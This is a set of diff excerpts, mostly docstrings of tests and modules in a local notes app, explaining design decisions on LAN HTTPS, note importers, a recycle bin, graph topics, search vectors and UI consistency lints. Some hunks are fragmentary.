+**Bookkeeping never breaks the job**, the rule `core/jobruns.py` set: every
+write here is wrapped, and a failure costs the durability of one job, never
+the job. With no app database (a script, most tests) nothing is recorded.

+"""The certificate LAN mode serves HTTPS with (the owner, 2026-10-05).
+
+WORLD_CLASS_PLAN 12, "Decisions made", 2: "Yes, self-signed HTTPS". SEC-08 of
+the 2026-10-05 audit: LAN mode was plain http, so on shared Wi-Fi a passive
+listener read the password at unlock and the seven-day session token after.
+
+- Made on this computer with `cryptography` (already a dependency), never
+  fetched: no certificate authority is asked and nothing leaves the machine.
+- Made once, at the first LAN start (or when the switch is turned on), and
+  reused after that, so a phone that trusted it once is not asked again on
+  every launch. It is made again only when asked (Settings, "Regenerate
+  certificate"), when it is close to expiring, or when the file cannot be read.
+- Kept in the data folder, `lan-tls/`, the folder 0700 and both files 0600:
+  the key is the one thing that lets another machine pretend to be this one.
+- Its names (the SAN) are this computer's host name, its `.local` name,
+  `localhost`, and every address LAN mode lists, so the warning a phone shows
+  is "not trusted" and never "the wrong name" as well.
+- Its SHA-256 fingerprint is shown in Settings, Other devices: the person
+  compares it with what the phone's warning shows before trusting it once.
+
+EC P-256 keeps generation instant and every phone browser speaks it. 825
+days is the longest validity Apple's platforms accept for a TLS server
+certificate, trusted by hand or not.

+"page"; `page` is 0 for a reading of the whole file.

+"""Bringing notes in from another app: Notion, Obsidian, Evernote and Apple
+Notes (WORLD_CLASS_PLAN H6 and 5.7, row 25).
+
+One reader per app, each turning that app's export into the same plain
+record (`Imported`), and one writer (`write`) that makes the notes. The
+readers never touch the database and the writer never parses a file, so a
+fifth app is one more reader.
+
+**Idempotent by source.** Every note carries a key that names where it came
+from, stored in `Entry.source_path` as `<app>:<key>`: Notion's page id,
+Evernote's own note fingerprint (title, created time and the start of its
+text), the path inside an Obsidian vault or an Apple Notes export. Importing
+the same export twice makes nothing the second time; a note whose source
+moved on is still the note the person may have edited since, so it is left
+alone rather than overwritten, and the summary says how many were already
+there. `source_path` is also what `manager.came_from_outside` reads, so an
+imported note is text from outside for the agent's injection guard.
+
+**What each export looks like** (checked against the apps' own exports):
+
+- *Notion*, "Markdown & CSV": a zip (sometimes a zip of zips) of
+  ``Page Title <32 hex>.md`` files, sub-pages in a folder of the same name,
+  links between pages as relative ``.md`` paths. HTML exports are read the
+  same way. Database CSVs are the rows' table; their rows are also pages, so
+  the CSVs themselves are left out and said so.
+- *Obsidian*: a vault, as a zip or as the files themselves with their
+  relative paths. YAML front matter gives the category and tags; the
+  ``[[wiki links]]`` are kept as written, which this app reads natively.
+- *Evernote*: ``.enex``, one XML file per notebook, each ``<note>`` with its
+  title, ENML body (XHTML), created time and tags. Parsed with defusedxml
+  (no entity expansion, no external fetches); the notebook's file name is
+  the category.
+- *Apple Notes*: Apple has no bulk export, so this reads what the common
+  exporters write: one ``.html``, ``.md`` or ``.txt`` per note in a folder
+  per Notes folder. The folder is the category.

+"""The recycle bin for documents and reminders (WORLD_CLASS_PLAN 5 item 10).

+their Undo made a new copy with a new id: a document came back without its

+in the bin; cleared, it is back with everything that pointed at it.
+
+**Hidden everywhere by one rule, not thirty-six filters.** A binned document
+must not show in the Documents list, the Library, the timeline, the graph,
+search, a mention scan or the agent's tools, and those read `Document` from
+fourteen modules. `core/database.py` adds `deleted_at IS NULL` to every ORM
+select of the two models (the same mechanism as the space filter) unless the
+session says otherwise with `including_binned`, which the bin's own routes,
+a space's delete and the media sweep use: those are the readers that must
+see a binned document, so that restoring one brings back its pictures and a
+deleted space takes its bin with it.

+"""Topics inside an island, named (GRAPH_PLAN KG6, INBOX 528).
+
+`paths.clusters` is connected components on purpose (its docstring says why:
+exactly true, checkable by clicking). That decision stands. A topic is a
+second, labelled layer over it: a judgement, said to be one, that a big
+island is two or three subjects joined by a bridge.
+
+**Detection: weighted label propagation, in id order.** Each note takes the
+label its neighbours vote for most, a vote weighted by how strong the edge is
+(`1 / Step.weight`, so a link counts four times a shared tag, as on a path)
+times one plus the neighbours the two ends share. That second factor is what
+stops a lone bridge pulling one subject into the next: an edge inside a
+subject sits in triangles, a bridge does not. A note keeps its label on a tie
+and otherwise the smallest label wins, so the answer is the same every time.
+Cost is the edges times the rounds plus one set intersection per edge.
+
+**Naming: what the topic shares more than the notebook does.** A term (a
+tag, an entity, a title word) scores its share of the topic's notes times its
+inverse document frequency over the notebook; a term every note has scores
+nothing. Tags win ties over entities and entities over words, because a tag
+is a name somebody chose. A topic nothing distinguishes is "Topic 3", never

+"""Paragraph vectors in memory (WORLD_CLASS_PLAN §14 item 3, row 6).
+
+`ChunkVector` holds a vector per paragraph of every long note; this module
+keeps them as one unit-row matrix, the way `engine._Matrix` keeps the note
+vectors, and answers one question: for this query vector, what is each note's
+best paragraph, and how close is it?
+
+**A note's meaning score is the better of its own vector and its best
+paragraph's.** One vector per note dilutes a long note: a page about the
+house that mentions the boiler in one paragraph is, to a question about the
+boiler, a twentieth relevant. Its best paragraph is not diluted at all. The
+note vector stays in the maximum because a short question about what the
+whole note is about ("my house notes") is better answered by the whole.
+
+**Kept in step by asking, not by hooks.** The note matrix has an ORM hook
+because a save must show in the next search at once and its table is read
+by many paths. This one is read only here, so it compares the table's
+`(count, max(id), total(id))` with what it last loaded (a tenth of a
+millisecond) and, when that has moved, fetches the rows it has not seen and
+zeroes the ones that left. A save of a long note is therefore one small
+fetch on the next search, never a reload.
+
+**A chunk counts only beside its own note vector.** Each row names the
+`embeddings.id` it was cut beside; a row whose note vector has since been
+deleted or replaced (purge, private, a re-embed by bulk statement) is
+skipped, which is what lets ten delete sites stay ignorant of this table.

The beta told us they want to find things again more than they want features, so the launch leads with search and offline, not with the long feature list.\n\n## How we will know\n\n| Measure | Target | Why |\n| --- | --- | --- |\n| Week-two retention | 35% | People came back after the novelty |\n| Notes in week one | 12 per person | The habit started |\n| Support tickets per 100 installs | under 3 | The sign-up is clear |\n\n## Open questions\n\nThe store review could take longer than a week, so the date has one week of slack in it. The pricing page still needs sign-off, and the launch email waits on it.\n\n## After launch\n\nTwo weeks of fixes only, then the sync rewrite starts. Nothing new ships in those two weeks unless it fixes something a person reported."

+// Headless Playwright suite (roadmap ANALYSIS.md §31, ROADMAP.md §38.2).
 //
-// The point named in the roadmap: "every layout bug found by hand has
-// passed a fully green run" — the Python suite fakes every AI call and
-// never opens a browser, so a clipped tab, an overlapping z-index or a
-// console error has never once failed CI. This doesn't replace that
-// suite; it catches the class of bug it structurally cannot.
+// Two notebooks, two servers, two projects:
 //
-// PLAYWRIGHT_BROWSERS_PATH, if set, is respected automatically by
-// Playwright itself — no code here needs to know about it. In this sandbox
-// that points at the pre-installed Chromium; in real CI, `npx playwright
-// install --with-deps chromium` downloads one to the default cache location
-// and this config works unchanged either way.
+//   * "first-run" is a brand-new data dir: the account is made, nothing else.
+//     Only `first-run.spec.js` runs there, because a fresh install is the one
+//     state the other specs cannot leave alone (they all write notes).
+//   * "notebook" is a realistic one, seeded by global-setup.js from
+//     `fixtures/notebook.json` (75 notes in seven categories, 87 links, three
+//     documents). Every other spec runs there. A notebook with filed notes is
+//     what lets the no-model filing path (`ai/lexical_filing.py`) file a new
+//     note at all, so capture and filing can be asserted end to end with no
+//     model and no network.
+//
+// Why this suite grew from one smoke file (2026-10-05): the Python suite has
+// thousands of tests and fakes every AI call and every browser, and the core
+// flow, writing a note and having it filed, was broken for an unknown time
+// without one of them failing. These specs drive the real UI against a real

+"""Comments stripped at serve time, and each asset stamped by its own bytes.
+
+Audit 2026-10-05, FE-01 and FE-02 (`src/memorymap/api/asset_strip.py`,
+`RevalidatedStatic` and `served_index_html` in `api/app.py`):
+
+- 64% of the CSS, about 46% of the JS and 39% of `index.html` was comment
+  text sent on every cold load. The files on disk keep it; only what is
+  served loses it.
+- A per-process boot token on every `?v=` made every launch a cold load (0
+  of 49 assets from cache after a restart). Each URL now carries a hash of
+  its file instead: an edited file is a new URL, an unchanged one is not.
+
+The stripper is a scanner, not a regex, because a `//` line can sit inside a
+template literal and a `/*` inside a string or a regex literal. The edge
+cases are below; then every real script is stripped and handed to
+`node --check`, and, where acorn is on the box, tokenized before and after
+to prove the token streams are identical.

+"""One attachment card for every attached file (INBOX 440 (2)).
+
+The owner: "all of the attachment cards ui and ux and utility need a massive
+redesign and upgrade." The screenshot was a note's picture in the edit form: a
+white thumbnail, a bold name cut to "Gary The Moss Mons...", and three bare
+glyphs under it (a sparkle, a pencil, an x) floating in empty space. Nothing
+said what kind of file it was, how big, or when it came; there was no open,
+no download and no rename.
+
+Measured before the change (scratchpad/ui-sweeps/attachcards.js), one note
+holding a picture and a PDF in its text and a picture, a PDF and a text file
+attached to it drew **five different shapes**: an inline thumbnail with a
+round x, a file card with a save button, a bare thumbnail with an x in its
+corner, and two chips stretched to the thumbnail's height. The Capture box
+drew the PDF twice (once as an icon-less chip, once as a file card), and the
+edit form's PDF chip had no glyph at all, because its class was set without
+`ph `.
+
+So: one builder, `attachmentCard` (notes-list.js), one stylesheet block
+(`.att-card`), one menu (`kebabMenu`), and the work behind the menu in a lazy
+piece (attachment-actions.js), because the boot scripts were 79 bytes under
+their gzip total when this started. These tests hold that shape.

+"""The consistency contract's lints that had no test (WORLD_CLASS_PLAN section 1).
+
+Section 1 of the plan states the vocabulary every screen follows and names a
+lint for each rule. Five were never written (the 2026-09-24 read of the plan
+marked them "no lint"), so a session that did not know the rule could break
+it and nothing failed. They live together here because they share one shape:
+read `index.html` or the stylesheets, count what breaks the rule, and either
+fail on any (nothing breaks it today) or hold a ratchet at today's count
+(something does, and removing it is a design judgement a lint should not
+make). A ratchet is lowered in the commit that earns it and never raised.
+
+1. **Surface budget** (1.1). No card inside a card, no panel inside a panel,
+   no `.glass` inside a `.glass`, no `details > summary.btn` inside a card.
+   Measured 2026-10-04: no violation in `index.html`, so it fails on any.
+2. **One primary per modal** (1.2). At most one filled button in a modal
+   overlay, or in one settings pane, with no allowance: the five that held
+   two or three (2026-10-04) were fixed. A stage-gated pair (Run then Accept,
+   Record then Save) writes the later button `ghost` and hands the fill over
+   with `stagePrimary` when its stage comes (`STAGE_PAIRS`).
+3. **Meta without border or hover** (1.2). A `.chip` that draws a border
+   (an inset 1px shadow counts) or answers hover is a control wearing a
+   chip's clothes. A chip you can press is a `.chip-interactive` (`chip()`
+   with a handler: a button by role) and is styled through that class, the
+   control recipe; every other rule on a `.chip` is meta. Two recipes keep an
+   edge by name (`META_EDGED`), each with its reason; nothing else may.
+4. **A menu item's rest background** (1.3). A row in a menu is transparent
+   until pointed at. Measured: none paints one at rest.
+5. **The palette carries every action** (D14). The plan's wording was "every
+   `data-action` in the DOM appears in the palette"; the app has no
+   `data-action` attribute, so the lint reads the two places an action is
+   declared in the DOM and in code: every top-level tab button
+   (`data-tab`), and every chord in `DEFAULT_SHORTCUTS`. Each needs a row in
+   `paletteCommands`, bar the chords that only mean something inside one
+   editing surface (`CONTEXTUAL_CHORDS`, each with its reason).
+
+Like the other frontend lints this cannot see a rendered page; the sweeps in
+`scratchpad/ui-sweeps/` do that. If one fails it has found something real:
+fix the cause, never widen the rule.

+"""The messages that `core/`, `ai/`, `entry/` and `search/` write for a person.
+
+`tests/test_server_detail_wording.py` holds every literal `detail=` string in
+`src/memorymap/api/`. It cannot see a route that passes a *computed* message
+(`detail=str(exc)`, `detail=reason`, `detail=info["error"]`): those sentences
+are written elsewhere, and `frontend/js/status.js` `plainHttpError` shows them
+in a toast as they arrive (INBOX 472, "found, not fixed"). This reads the
+source of each of them with `ast`, applies the same wording rules, and adds
+two of its own for the new surface:
+
+- a message never carries a raw exception (`f"... {exc}"`): the exception's
+  text is developer detail, so it goes to the log and the person reads a
+  fixed sentence;
+- an install hint names what to install in plain words, never a `pip` line.
+
+Three more tests pin the routes: every computed `detail=` in the API is on a
+reviewed list (a new `detail=str(exc)` has to say which checked source its
+text comes from), and no f-string `detail=` carries a raw exception.
+
+A message that has to break a rule is allowlisted with the reason beside it,
+never by widening a rule.

+"""Every relative link and anchor in the user-facing documents resolves.
+
+The README, the root guides and the documents under `docs/` link to each
+other and to the screenshots. Nothing checked those links: a renamed file or
+heading left a link that read as plausible and went nowhere, and the one place
+a first-time reader clicks (the README's table of documents) was the likeliest
+to rot. `test_docs_layout.py` covers the roadmap's own cross-links and
+`test_readme_freshness.py` the screenshots; this covers the rest.
+
+What it checks, for each file below:
+
+- a Markdown link or an HTML `src`/`href` that is not an address on the web
+  points at a file or folder that exists, resolved from the file that holds it;
+- a `#anchor` on a Markdown target names a heading that file really has,
+  spelled the way GitHub spells its ids (lower case, punctuation dropped,
+  spaces to hyphens, a repeated heading numbered);
+- a `#anchor` on its own names a heading in the same file.
+
+Code fences and inline code are skipped: a link shown as an example is not a
+link. The mirrored copies under `docs/` (`CONTRIBUTING.md`, `SECURITY.md`,
+`CHANGELOG.md`) are byte-identical to the root files, which

-"""The GitHub Pages site can actually load its own documentation.
-
-Reported: *"the embedded documentation still won't load, even when I have my
-adblockers turned off."* Two previous fixes had been aimed at the fetch logic, 
-a malformed fallback URL, then a same-origin candidate, and neither could
-work, because of something outside the JavaScript entirely:
-
-**there was no `.nojekyll`.** GitHub Pages runs Jekyll over `/docs` by default,
-and Jekyll does not publish source `.md` files: it *converts* them. So
-`ARCHITECTURE.md` was never at that origin at all, the same-origin fetch 404'd
-on every load for everyone, and the whole feature rested on two cross-origin
-hosts. That is exactly the shape of "it won't load even with the adblocker
-off". Jekyll was also reading `{{placeholders}}` in the docs as Liquid
-variables and rendering them away.
-
-The second half is that three of the eight documents live at the repo root,
-which Pages never publishes under this source setting. They are copied into
-`/docs`, and this file is what stops the copies drifting, a stale copy of
-SECURITY.md on the public site is worse than no copy.
+"""The GitHub Pages landing site is static, self-contained and cannot go stale.
+
+History. The site used to fetch the repository's Markdown documents at run
+time and render them in tabs. That failed in several shapes over its life
+(no `.nojekyll`, so Pages converted the `.md` sources rather than publishing
+them; cross-origin hosts that adblockers and rate limits refused), and the
+owner's verdict was INBOX 645: "it for some reason struggles to load the
+documents from the repo so I think we should remove them and just have a
+solid landing site which doesn't really have a problem with having to be kept
+up to date". So `docs/index.html` is now one static page: no fetch of any
+kind, nothing loaded from another host, screenshots by relative path only,
+and every document reached by an absolute GitHub link, which always shows the
+current text. These tests hold each of those rules, plus the one that keeps
+it from going stale: the copy names no version, no date and no count.

+- `toast(message, true)` is the red toast with "Report this", which mails the

+- `toast(message, "info")` is the plain toast for a situation the app expects:

+as long as a tick took on a big map) and the canvas paints on the display's

+two steps in one frame, none in the next, one in the one after. The canvas now

+
+Measured here, not in a browser: the sandbox's headless frames are as slow and

+two functions run under node against a worker ticking every 16 ms with up to

+parent's missing list threw, and Tree, Radial and Arc drew nothing: the picker
+moved, the map stayed on Force. Measured before the fix with
+scratchpad/ui-sweeps/gl1005-graphlayout.js on 133 notes: every pair of layouts
+0 px apart, three TypeErrors.
+
+The fix is `replyLoops` plus a seeded child list per note. The function is

+real notebook has and a seeded one in id order does not.

+GRAPH_PLAN "Still open after KG1 to KG9": at 5,000 notes `/graph` was 3.1 MB,
+and the first visit after any change spent its time building and encoding
+it. Measured on that notebook (`scratchpad/kg1005_graph_bench.py`), a third
+of the bytes were values every note carries at its default (a null pin, a
+null type, no parent, `false`, `[]`, an unreasoned link's three nulls) and
+timestamps to the microsecond. The slim payload leaves those out and the map
+(graph.js, `graphFill`) puts them back on arrival, so every reader after the
+fetch sees the shape it always did. The dashboard asks for the same slim
+payload (its widgets read only each link's two ends), so one cached build
+after a change serves both. Without `slim` the payload is unchanged for
+every other caller.

+"""H3: behaviour tiers by model size (AGENT_SKILLS_REFORM, "Harness

+
+Before: one boolean (`is_small_model`, under 8B) decided the toolbox, the
+schema length, the round cap and the forced first call, and a 1.5B and a 7B
+got the same treatment. Measured on Qwen2.5-1.5B: one "Make a note" turn ran
+948 s to the 2,048-token reply cap, writing the note out in prose, and made no
+call. Now one table (`agent.SIZE_TIERS`) holds every size decision, a small
+model's tool rounds have a reply cap of their own, and prompt bookkeeping the
+model echoes ("similarity 0.54", "note id 3") comes off the answer.

+drawn from CHANGELOG's Unreleased and 0.3.x sections: per feature, the words
+an entry that explains it must contain, and a question somebody would type.
+Two checks per row: some entry's body holds every word, and the question
+reaches such an entry within the Guide's top three. Measured before the
+entries were written: 8 of 52 rows covered by the words (3 of those by
+accident, a chord in another entry), 4 of 52 reachable by the question.

+Standing order 13 (help moves with the UI), and the audit of 2026-10-05 that

+  draws is named in `JS_DRAWN`, with the file that draws it, and that file is
+  checked for the text);
+- the `badge` and `target` the topics carry must point at a real section, tab
+  or element id, so a rename of an id cannot leave a dead "open it" button.
+

+"""The dashboard's first screen, made calm (INBOX 436).

+User feedback, through the owner: "there is quite a lot going on visually on
+the dashboard when the user opens the application ... I like the top hero
+section though and I think the widgets section is fine". Measured before
+(`scratchpad/ui-sweeps/dash436.js`, 1440x900, a 33-note notebook): 462px of
+chrome between the hero and the first widget, 73 elements and 20 controls in
+it, six bands and four kinds of chip; at 390x844 no widget on the first
+screen at all. The hero, the Start something tiles (the owner: keep them) and
+the grid stay; the search, Jump to, Run a skill, the stat strip and the
+layout bar become one dock row: the search doorway and one grouped menu.
+These pin what a static read can pin; the numbers are the sweep's.

+"""The motion pass stays a recipe, and stays cheap (INBOX 459 (2)).
+
+The owner asked for "cheap css animations to things like the horizontal pill
+selectors and sidebars ... but dont over do it in a vibecoded way". DESIGN.md's
+recipe index has one "Motion" row for what came of it; this holds the row:
+
+- **One indicator.** A selection that moves between options (a `.seg`, the top
+  bar's tabs, the sub-tab strips, the Settings sections and a pane's groups)
+  is drawn by one shared recipe: the strip's `::before`, placed on the chosen
+  option by `glideStrip` (shell-reminders.js) through `--glide-x/y/w/h`, and
+  moved from where it was drawn by a `transform` animation on that
+  pseudo-element (the owner, 2026-10-05: "Also like the smooth slide across
+  tabs"). A second indicator, per control, is how ten strips end up moving
+  ten ways. It replaced a CSS-anchored `::before` whose four insets were the
+  one layout property in motion in the app, so no inset moves anywhere now.
+- **Only the compositor's properties move.** Every rule in a section headed
+  `/* --- motion:` transitions or starts from `opacity`, `transform`,
+  `translate`, `scale` or a colour, and nothing else.
+
+Reduced motion is not a rule here: the polish follows Interface animations
+(`data-ui-motion`, the `--ui-*` tokens; `tests/test_motion_tokens.py`), and
+`scratchpad/ui-sweeps/motion1005.js` measures the indicator gliding with the
+switch on under reduced motion and landing at once with it off. Like the other frontend lints this cannot see the
+DOM; the sweep is what runs against a browser.

+"""No interactive control inside another one (INBOX 433, WCAG 2.2 4.1.2).

+`scratchpad/ui-sweeps/axe.js`: every Library card was an `<article
+role="button">` holding its own tick and its own ⋯ (35 nodes across the
+two themes), and six Settings fold heads were `<summary>`s holding their '?'.
+A screen reader announces the outer control and cannot reach the inner ones
+as themselves, and the platform's own keyboard rules for a button do not
+expect anything focusable inside it.
+
+The fix is the accessible card (DESIGN.md, the recipe index): the card is
+not a control. Its title is the one control that opens it (`cardOpener`,
+menus.js), and that title's click area is stretched over the card by a
+`::after` overlay, so a click anywhere on the card still opens it while the
+tick and the ⋯ sit above the overlay as controls of their own.

+"""No emoji, dingbat or pictograph in the UI's own text (INBOX 506).
+
+The owner: "make sure that the icons are used properly and no text emojis are
+still used." Every icon in this app is a Phosphor glyph (`setLabel(el,
+"ph:name Label")`, `<i class="ph ph-name" aria-hidden="true">`, or a
+`content: "\\e..."` in Phosphor's font for a CSS-drawn mark). A character from
+the emoji, dingbat, geometric-shape or misc-symbol blocks drawn in the system
+font is a second icon set nobody chose: it differs in size, weight, colour and
+baseline from the one beside it.
+
+`tests/test_no_glyph_icons.py` already bans the dozen glyphs the app had a
+Phosphor twin for, by the *position* a string sits in. This is the wider net,
+by *character class*, over everything that can render: JS string and regex
+literals (comments removed, `\\u` escapes decoded, so an escaped emoji is the
+same finding as a typed one), the markup's own text, and CSS (comments removed,
+`\\2713`-style escapes decoded, so a `content: "\\2713"` is the same finding as
+`content: "✓"`).
+
+What is not banned, and why the class is narrow:
+
+* Arrows (U+2190 to U+21FF) in JS strings and markup: a breadcrumb ("Settings →
+  Models") and an arrow key's name in a `<kbd>` are typography. In **CSS**
+  they are banned, because a `content:` arrow is a drawn mark, not a sentence.
+* `×` (U+00D7) in JS and markup: a dimension ("640 × 480"), a count ("used 3×").
+  In CSS it is banned, for the same reason as the arrows.
+* `⌘` (U+2318), the Mac key's own name; `…`, `·` and the other punctuation.
+* The documented data cases in `ALLOWED`, each with its reason. A new one is
+  added on purpose, in the commit that adds the data, never to silence a
+  finding: if the character stands where an icon belongs, write the icon.
+
+The inventory this was built from is `scratchpad/emoji-icons-506.md`.

+The owner, 2026-10-05: "make sure it is fully local and doesn't use any
+external libraries that aren't vendored". `tests/test_offline_promise.py`
+pins the two opt-in switches and the copy that describes them; this pins the
+code underneath: every module that can open an outbound connection, what it
+talks to, and what has to happen first. A module that gains a network
+library and is not in `INVENTORY` fails here until somebody has written down
+where it goes and who asked for it.
+
+The rule each row is held to: a request goes either to the person's own
+configured model server (on this computer unless they typed another
+address), or to a URL the person asked for, with a click or a switch that is
+off out of the box. Nothing phones home by default, and the second test
+proves that on a booted app rather than by reading.

+"""The notes surface on a phone, as an auditor drove it (2026-10-03).
+
+Each test pins one defect measured in Chromium at 390 with touch:
+
+* A tap on a note opened nothing: the swipe handler settled every lift-off,
+  a tap included, and the note page refuses a row that is settling.
+* The categories drawer drew a chip cloud: two columns of pills, the long
+  name 727px wide in a 320px sheet, 30px rows, each ⋯ 17px above its row;
+  choosing a category left the drawer over the list.
+* A toast stood over the floating New note button.
+* The command palette found nothing for "manage", "categories", "#food" or
+  "move".

+"""A save does not read the notebook (audit 2026-10-05, ARCH-02, ARCH-08, ARCH-20).
+
+Measured at 5,000 notes before this: `POST /entries` 1.7 s p50 for a
+400-word note, 0.93 s for one line, and seeding fell from 11 notes a second
+at 40 notes to 1 a second at 750. The profile named two pieces of Python that
+read the whole notebook on every save:
+
+- `lexical_filing.suggest_tags` read up to 4,000 notes' full text and
+  tokenised every one of them to rebuild TF-IDF from scratch (490 ms at 610
+  notes);
+- `janitor._best_centroid_match` loaded every stored vector as a blob and
+  re-averaged every category (539 ms at 610 notes), beside the engine's own
+  matrix that already holds them.
+
+The counts below are what a save does in Python per note in the notebook.
+They are exact where a timing would be noise on a shared machine, and they
+fail on the old shape by a factor of the notebook's size.
+
+ARCH-08: `learning.centroid_excluded` was claimed built (WORLD_CLASS_PLAN I7)
+and had no caller; two moves out of a category now keep a no-model save out
+of it. ARCH-20: the lexical pass read private notes' ciphertext.

+"""Every head in a Settings pane, after the pane's own title, heads a group.

+measured the drift this lint now holds shut (scratchpad/ui-sweeps/

+Web search's "Your SearXNG instance" drew at the pane title's 18.4px. Three
+voices for one job, in one dialog. A loose head is what a pane gets when a
+group is added by appending an `<h3>` and its fields to the section, so this
+reads the markup rather than the computed style: the cause, not the symptom.
+
+Allowed containers besides a group: a folded group (`details.settings-fold`),
+a dock's identity (Logs), the profile's own head (the person's name beside
+their mark), and a `.help-accordion` panel's body.

+one (the pane-title bars, INBOX 599); otherwise the pane's first loose head.
+Before the lint knew the bar, every pane with one lost its title to the

+"""One recipe for "the app is working on it" (INBOX 441 (2)).
+
+The owner, over a screenshot of a note reading "Atlas is reading..." beside a
+small blue ring: "make sure all these loading spinners are consistent across
+the app". Measured before this recipe (`scratchpad/ui-sweeps/spinners.js`),
+the same state was drawn six different ways:
+
+- the `.spinner` ring, 2px stroke, 0.7s;
+- the Phosphor `circle-notch` glyph, 1.1s, under two keyframe names
+  (`chip-spin`, `chip-filing-spin`), in three colours depending on the host;
+- a status line that was only a pulsing word, whose animation
+  (`pulse-fade`) had **no `@keyframes` at all**, so it never moved;
+- the chat reply dots standing in for a loading line in a toast and in the
+  Library (`typingDots` is the *reply* indicator, a different thing);
+- a busy button that was `disabled` plus `aria-busy` and showed nothing;
+- a dozen "Working..." lines that carried a decorative, motionless icon.
+
+The recipe is DESIGN.md's row "Something is working on it": **`.spinner`**
+(one element, drawn by `spinnerEl()` or the `ph:spin` marker in `setLabel`),
+sized in `em` of the text beside it, one stroke, one colour, one speed, a slow
+opacity pulse under reduced motion; **`setBusy(button, busy, label)`** for a
+button. These tests are the ratchet: a second spin keyframe, a re-introduced
+glyph spinner, an ASCII "..." in the copy, or a hand-built `.spinner` all fail
+here, not in a screenshot.
+
+Like the other frontend lints this cannot see the DOM; what runs in a browser
+is `scratchpad/ui-sweeps/spinners.js`, which measures every indicator it can
+trigger and prints the distinct signatures (one, plus the filled-button
+colour).

+wheel notch with ctrl held is 100 to 120 pixels of the same event, so the
